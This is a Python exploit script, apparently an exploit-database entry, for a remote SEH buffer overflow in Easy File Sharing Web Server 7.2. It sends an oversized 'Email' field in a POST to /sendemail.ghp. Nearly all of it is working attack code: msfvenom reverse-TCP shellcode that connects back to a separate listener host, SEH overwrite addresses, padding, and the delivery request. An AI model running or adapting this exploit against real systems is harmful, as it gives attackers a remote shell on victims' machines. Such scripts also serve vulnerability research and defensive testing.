# Exploit Title: Easy File Sharing Web Server 7.2 - 'POST' Remote Buffer Overflow (SEH)
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/efssetup.exe
# Exploit author: Felipe Winsnes
# Version: 7.2
# Tested on: Windows XP x86, Windows 7 x86, Windows 10 x64

#!/usr/bin/python

import httplib
import sys
import struct

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.182 LPORT=4444 -f py -b "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e" EXITFUNC=thread
buf =  ""
buf += "\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\x40\x88\xb0\xbd\x83\xee\xfc\xe2\xf4\xbc\x60"
buf += "\x32\xbd\x40\x88\xd0\x34\xa5\xb9\x70\xd9\xcb\xd8\x80"
buf += "\x36\x12\x84\x3b\xef\x54\x03\xc2\x95\x4f\x3f\xfa\x9b"
buf += "\x71\x77\x1c\x81\x21\xf4\xb2\x91\x60\x49\x7f\xb0\x41"
buf += "\x4f\x52\x4f\x12\xdf\x3b\xef\x50\x03\xfa\x81\xcb\xc4"
buf += "\xa1\xc5\xa3\xc0\xb1\x6c\x11\x03\xe9\x9d\x41\x5b\x3b"
buf += "\xf4\x58\x6b\x8a\xf4\xcb\xbc\x3b\xbc\x96\xb9\x4f\x11"
buf += "\x81\x47\xbd\xbc\x87\xb0\x50\xc8\xb6\x8b\xcd\x45\x7b"
buf += "\xf5\x94\xc8\xa4\xd0\x3b\xe5\x64\x89\x63\xdb\xcb\x84"
buf += "\xfb\x36\x18\x94\xb1\x6e\xcb\x8c\x3b\xbc\x90\x01\xf4"
buf += "\x99\x64\xd3\xeb\xdc\x19\xd2\xe1\x42\xa0\xd7\xef\xe7"
buf += "\xcb\x9a\x5b\x30\x1d\xe0\x83\x8f\x40\x88\xd8\xca\x33"
buf += "\xba\xef\xe9\x28\xc4\xc7\x9b\x47\x77\x65\x05\xd0\x89"
buf += "\xb0\xbd\x69\x4c\xe4\xed\x28\xa1\x30\xd6\x40\x77\x65"
buf += "\xed\x10\xd8\xe0\xfd\x10\xc8\xe0\xd5\xaa\x87\x6f\x5d"
buf += "\xbf\x5d\x27\xd7\x45\xe0\x70\x15\x41\x3e\xd8\xbf\x40"
buf += "\x99\xec\x34\xa6\xe2\xa0\xeb\x17\xe0\x29\x18\x34\xe9"
buf += "\x4f\x68\xc5\x48\xc4\xb1\xbf\xc6\xb8\xc8\xac\xe0\x40"
buf += "\x08\xe2\xde\x4f\x68\x28\xeb\xdd\xd9\x40\x01\x53\xea"
buf += "\x17\xdf\x81\x4b\x2a\x9a\xe9\xeb\xa2\x75\xd6\x7a\x04"
buf += "\xac\x8c\xbc\x41\x05\xf4\x99\x50\x4e\xb0\xf9\x14\xd8"
buf += "\xe6\xeb\x16\xce\xe6\xf3\x16\xde\xe3\xeb\x28\xf1\x7c"
buf += "\x82\xc6\x77\x65\x34\xa0\xc6\xe6\xfb\xbf\xb8\xd8\xb5"
buf += "\xc7\x95\xd0\x42\x95\x33\x50\xa0\x6a\x82\xd8\x1b\xd5"
buf += "\x35\x2d\x42\x95\xb4\xb6\xc1\x4a\x08\x4b\x5d\x35\x8d"
buf += "\x0b\xfa\x53\xfa\xdf\xd7\x40\xdb\x4f\x68"

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

seh = struct.pack("<I", 0x100161e5) # pop esi # pop edi # ret
nseh = struct.pack("<I", 0x909006EB)
host = sys.argv[1]
buffer = "A" * 4060 + nseh + seh + buf + "\xcc" * 3000

print bcolors.OKGREEN + "[+]" + bcolors.ENDC + " Sending payload!"

httpServ = httplib.HTTPConnection(sys.argv[1], 80)
httpServ.connect()

httpServ.request('POST', '/sendemail.ghp',
'Email=%s&getPassword=Get+Password' %buffer)

response = httpServ.getresponse()

httpServ.close()
